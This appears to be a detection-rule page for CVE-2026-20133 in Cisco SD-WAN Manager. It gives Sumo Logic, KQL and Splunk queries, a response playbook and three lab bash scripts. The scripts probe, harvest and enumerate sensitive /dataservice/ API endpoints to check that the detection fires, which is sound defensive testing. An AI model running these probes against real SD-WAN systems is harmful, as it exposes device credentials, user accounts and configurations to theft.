Detect Cisco Catalyst SD-WAN Manager Sensitive Information Exposure (CVE-2026-20133) in Sumo Logic CSE
Detects exploitation attempts targeting CVE-2026-20133, a CWE-200 information disclosure vulnerability in Cisco Catalyst SD-WAN Manager that allows unauthorized actors to access sensitive configuration and credential data. This vulnerability is actively exploited in the wild (CISA KEV) and may be leveraged to pivot into SD-WAN infrastructure.
MITRE ATT&CK
- Tactic
- Credential Access Discovery Collection
Sumo Detection Query
_sourceCategory=cisco/sdwan OR _sourceCategory=network/proxy
| parse regex "(?P<src_ip>\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}).*?(?P<method>GET|POST|PUT|DELETE)\s+(?P<uri_path>/[^\s]+).*?(?P<status_code>\d{3})"
| where uri_path matches "/dataservice/*" or uri_path matches "*/device/config*" or uri_path matches "*/template/*" or uri_path matches "*/auditlog*" or uri_path matches "*/admin/user*" or uri_path matches "*/setting/configuration*"
| where status_code in ("200", "201", "206")
| timeslice 5m
| stats count as request_count, count_distinct(uri_path) as unique_paths, values(uri_path) as paths_accessed by src_ip, _timeslice
| where request_count > 10 or unique_paths > 3
| sort by request_count descSumo Logic query detecting enumeration of Cisco SD-WAN Manager sensitive API endpoints that may represent CVE-2026-20133 exploitation. Groups requests by source IP over 5-minute windows to surface automated scanning or credential harvesting behavior.
Data Sources
Required Tables
False Positives & Tuning
- Scheduled configuration export jobs querying multiple API endpoints
- SD-WAN performance monitoring tools polling device state APIs
- Cisco support tooling performing diagnostics during TAC sessions
- Integration middleware synchronizing SD-WAN configuration with IPAM or CMDB
Other platforms for CVE-2026-20133
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Unauthenticated SD-WAN Manager Device Config Enumeration
Expected signal: HTTP GET requests to SD-WAN Manager management port (8443) for paths /dataservice/device, /dataservice/device/config, and /dataservice/admin/user from the test host IP. Response codes may be 200 (vulnerable) or 401/403 (patched/mitigated).
- Test 2SD-WAN Manager Template and Credential Harvest Simulation
Expected signal: File creation events in /tmp/sdwan_harvest_test alongside network connections to vManage port 8443. Curl process making multiple sequential HTTP GET requests to /dataservice/template/device, /dataservice/setting/configuration, and /dataservice/auditlog.
- Test 3Automated SD-WAN Manager API Endpoint Enumeration with Token Extraction
Expected signal: Rapid sequential HTTP GET requests (9 requests within ~5 seconds with 0.5s delay) to multiple /dataservice/ subpaths from a single source IP. HTTP status codes logged for each endpoint. Process: bash script executing curl in a loop.
References (4)
- https://www.cisa.gov/news-events/directives/ed-26-03-mitigate-vulnerabilities-cisco-sd-wan-systems
- https://www.cisa.gov/news-events/directives/supplemental-direction-ed-26-03-hunt-and-hardening-guidance-cisco-sd-wan-systems
- https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-authbp-qwCX8D4v
- https://nvd.nist.gov/vuln/detail/CVE-2026-20133
Response Playbook
Triage
- Identify the source IP(s) making requests to Cisco SD-WAN Manager sensitive API endpoints and determine if they are authorized management hosts or known Cisco tooling IPs.
- Review the specific API endpoints accessed — paths such as /dataservice/device/config, /admin/user, and /template/ indicate attempted harvesting of device credentials, user accounts, or configuration templates.
- Correlate access timestamps against change management records to determine if activity aligns with authorized maintenance windows or represents unauthorized access.
- Check SD-WAN Manager audit logs for any successful data returns (HTTP 200/201) from sensitive endpoints, particularly for device credential or template retrieval requests.
- Determine if the source IP has prior history of accessing the management plane or if it represents a new, unrecognized client.
Containment
- Immediately block the offending source IP(s) at the perimeter firewall or WAF to prevent continued information harvesting from SD-WAN Manager APIs.
- Rotate all credentials exposed via the SD-WAN Manager API including device passwords, API tokens, and any credentials retrievable from configuration templates — treat all as compromised.
- Restrict SD-WAN Manager UI and API access to a defined allowlist of management IP addresses, enforcing network-level access controls until the vulnerability is patched.
- Isolate any SD-WAN edge devices whose configurations may have been exfiltrated and monitor for unauthorized reconfiguration or tunnel establishment.
Evidence Collection
- Export full SD-WAN Manager access logs covering the suspected exploitation window, including HTTP method, URI path, source IP, response code, and response body size for all requests to /dataservice/ and related paths.
- Capture network packet captures (PCAP) from the management interface if available, preserving evidence of what data was returned in HTTP responses to the attacker.
- Collect SD-WAN Manager audit trail logs showing any configuration changes, user login events, or API token generation activity following the suspected compromise.
- Document the full list of device configurations, templates, and credentials accessible via the endpoints that were queried, to scope the potential data exposure.
Escalation Criteria
- !Escalate immediately if HTTP 200 responses were returned for requests to credential or authentication endpoints (/admin/user, /setting/configuration) — indicates successful data exfiltration.
- !Escalate if SD-WAN edge devices begin exhibiting unauthorized routing changes, new GRE/IPSec tunnel establishments, or policy modifications following the suspected reconnaissance, suggesting attacker lateral movement into the SD-WAN fabric.
- !Escalate if the attacker IP resolves to a known threat actor infrastructure or appears in current threat intelligence feeds.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Cisco vManage application server access logs at /var/log/nms/vmanage-server.log containing API request history with source IPs and response codes - >
SD-WAN Manager audit trail database records showing user activity and configuration retrievals via the vManage web interface and REST API - >
Network flow records (NetFlow/IPFIX) from the management network segment capturing connection metadata between the attacker IP and vManage management ports - >
Authentication logs in vManage showing any login attempts or API token usage associated with the time window of the suspected exploitation
Tuning Guidance
Begin with a high threshold (>20 requests per 5-minute window) to catch only aggressive automated scanning. After establishing a baseline of legitimate API polling from authorized management hosts and monitoring integrations, create an allowlist of known-good source IPs and reduce the threshold to >5 requests. Pay particular attention to access patterns that span multiple sensitive endpoint categories (credentials + templates + audit logs in the same session) as these show high exploitation fidelity even at low request volumes. For organizations using Cisco vAnalytics or Crosswork, those platform IPs will generate significant noise and should be explicitly excluded.
Hunting Queries
7-day retrospective hunt for source IPs accessing 3 or more distinct sensitive Cisco SD-WAN Manager API endpoints, identifying potential pre-exploit reconnaissance or prior exploitation activity that may have gone undetected.
CommonSecurityLog
| where TimeGenerated >= ago(7d)
| where DeviceVendor == "Cisco" and DeviceProduct has_any ("SD-WAN", "vManage", "SDWAN")
| where RequestURL has_any ("/dataservice/device", "/dataservice/template", "/auditlog", "/admin/user", "/setting/configuration")
| summarize AccessCount = count(), UniqueEndpoints = dcount(RequestURL), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated) by SourceIP
| where UniqueEndpoints >= 3
| extend DaysActive = datetime_diff('day', LastSeen, FirstSeen)
| order by AccessCount descindex=cisco_sdwan OR index=network earliest=-7d
| eval sensitive=if(match(uri_path, "(?i)(/dataservice/device|/dataservice/template|/auditlog|/admin/user|/setting/configuration)"), 1, 0)
| where sensitive=1
| stats count AS total_requests, dc(uri_path) AS unique_paths, min(_time) AS first_seen, max(_time) AS last_seen, values(uri_path) AS paths BY src_ip
| where unique_paths >= 3
| eval exposure_window_hours=round((last_seen - first_seen)/3600, 2)
| sort -total_requestsHunt for endpoint devices (workstations, servers) making repeated connections to SD-WAN Manager management ports over the past 72 hours — may indicate a compromised internal host being used as a stepping stone for CVE-2026-20133 exploitation.
DeviceNetworkEvents
| where TimeGenerated >= ago(72h)
| where RemotePort in (8443, 443) and ActionType == "ConnectionSuccess"
| where RemoteUrl has "/dataservice/"
| summarize ConnectionCount = count(), FirstAttempt = min(TimeGenerated), LastAttempt = max(TimeGenerated) by DeviceName, RemoteIP
| where ConnectionCount > 3
| join kind=leftouter (DeviceInfo | project DeviceName, OSPlatform, DeviceType) on DeviceName
| project-reorder DeviceName, OSPlatform, DeviceType, RemoteIP, ConnectionCount, FirstAttempt, LastAttemptindex=endpoint earliest=-72h
| eval sdwan_conn=if(match(dest_ip, "(vmanage|sdwan)") OR dest_port IN ("8443"), 1, 0)
| where sdwan_conn=1
| stats count BY host, dest_ip, dest_port
| where count > 3
| lookup asset_inventory ip AS dest_ip OUTPUT hostname AS sdwan_hostname, role
| where role="sdwan_manager"Atomic Red Team Tests
Simulates CVE-2026-20133 exploitation by querying the Cisco SD-WAN Manager REST API for device configuration data without valid credentials, testing whether the endpoint exposes sensitive information to unauthenticated requestors.
Command
#!/bin/bash
# Lab only — replace TARGET_IP with your test vManage instance
TARGET_IP="192.168.100.10"
TARGET_PORT="8443"
echo "[*] Probing SD-WAN Manager device list endpoint..."
curl -sk -X GET "https://${TARGET_IP}:${TARGET_PORT}/dataservice/device" -H "Content-Type: application/json" | python3 -m json.tool 2>/dev/null | head -100
echo "[*] Probing device configuration endpoint..."
curl -sk -X GET "https://${TARGET_IP}:${TARGET_PORT}/dataservice/device/config" -H "Content-Type: application/json" | python3 -m json.tool 2>/dev/null | head -100
echo "[*] Probing admin user listing endpoint..."
curl -sk -X GET "https://${TARGET_IP}:${TARGET_PORT}/dataservice/admin/user" -H "Content-Type: application/json" | python3 -m json.tool 2>/dev/null | head -100Cleanup
No cleanup required — read-only probe. Remove any captured output files if written to disk.Expected Telemetry
HTTP GET requests to SD-WAN Manager management port (8443) for paths /dataservice/device, /dataservice/device/config, and /dataservice/admin/user from the test host IP. Response codes may be 200 (vulnerable) or 401/403 (patched/mitigated).
Expected Detection
Alert should fire within 5 minutes due to multiple sensitive API endpoint accesses from a single source IP. Detection threshold is 3+ unique sensitive paths within the evaluation window.
Simulates the credential and configuration template harvesting phase of CVE-2026-20133 exploitation, querying vManage endpoints that store device authentication credentials and configuration templates.
Command
#!/bin/bash
# Lab only — replace TARGET_IP with your test vManage instance
TARGET_IP="192.168.100.10"
TARGET_PORT="8443"
OUTPUT_DIR="/tmp/sdwan_harvest_test"
mkdir -p "${OUTPUT_DIR}"
DATESTAMP=$(date +%Y%m%d_%H%M%S)
echo "[*] Harvesting device templates..."
curl -sk -X GET "https://${TARGET_IP}:${TARGET_PORT}/dataservice/template/device" -o "${OUTPUT_DIR}/templates_${DATESTAMP}.json"
echo "[*] Harvesting configuration settings..."
curl -sk -X GET "https://${TARGET_IP}:${TARGET_PORT}/dataservice/setting/configuration" -o "${OUTPUT_DIR}/settings_${DATESTAMP}.json"
echo "[*] Harvesting audit logs..."
curl -sk -X GET "https://${TARGET_IP}:${TARGET_PORT}/dataservice/auditlog" -o "${OUTPUT_DIR}/audit_${DATESTAMP}.json"
echo "[*] Collection complete. Files saved to ${OUTPUT_DIR}"
ls -la "${OUTPUT_DIR}"Cleanup
rm -rf /tmp/sdwan_harvest_testExpected Telemetry
File creation events in /tmp/sdwan_harvest_test alongside network connections to vManage port 8443. Curl process making multiple sequential HTTP GET requests to /dataservice/template/device, /dataservice/setting/configuration, and /dataservice/auditlog.
Expected Detection
Detection should trigger on the pattern of accessing 3+ distinct sensitive API endpoint categories. EDR telemetry should show curl spawned from a shell session writing JSON files to /tmp, correlated with outbound connections to the SD-WAN Manager IP.
Simulates an attacker performing systematic enumeration of Cisco SD-WAN Manager API endpoints to identify exposed information surfaces, including attempting to extract API session tokens or authentication artifacts from responses.
Command
#!/bin/bash
# Lab only — replace TARGET_IP with your test vManage instance
TARGET_IP="192.168.100.10"
TARGET_PORT="8443"
ENDPOINTS=(
"/dataservice/device"
"/dataservice/device/config"
"/dataservice/template/device"
"/dataservice/template/feature"
"/dataservice/setting/configuration"
"/dataservice/admin/user"
"/dataservice/auditlog"
"/dataservice/certificate/vsmart/list"
"/dataservice/system/information"
)
echo "[*] Beginning SD-WAN Manager API enumeration..."
for endpoint in "${ENDPOINTS[@]}"; do
STATUS=$(curl -sk -o /dev/null -w "%{http_code}" "https://${TARGET_IP}:${TARGET_PORT}${endpoint}")
echo "[${STATUS}] https://${TARGET_IP}:${TARGET_PORT}${endpoint}"
sleep 0.5
done
echo "[*] Enumeration complete"Cleanup
No persistent artifacts created. Network connections will be logged by the target system.Expected Telemetry
Rapid sequential HTTP GET requests (9 requests within ~5 seconds with 0.5s delay) to multiple /dataservice/ subpaths from a single source IP. HTTP status codes logged for each endpoint. Process: bash script executing curl in a loop.
Expected Detection
Alert should fire based on high unique-endpoint count (9 distinct paths) within a short time window from a single source IP. Both network-layer and proxy-layer detections should activate. The systematic enumeration pattern (incrementing endpoints, short delays) may also match threat intel signatures for automated scanning tools.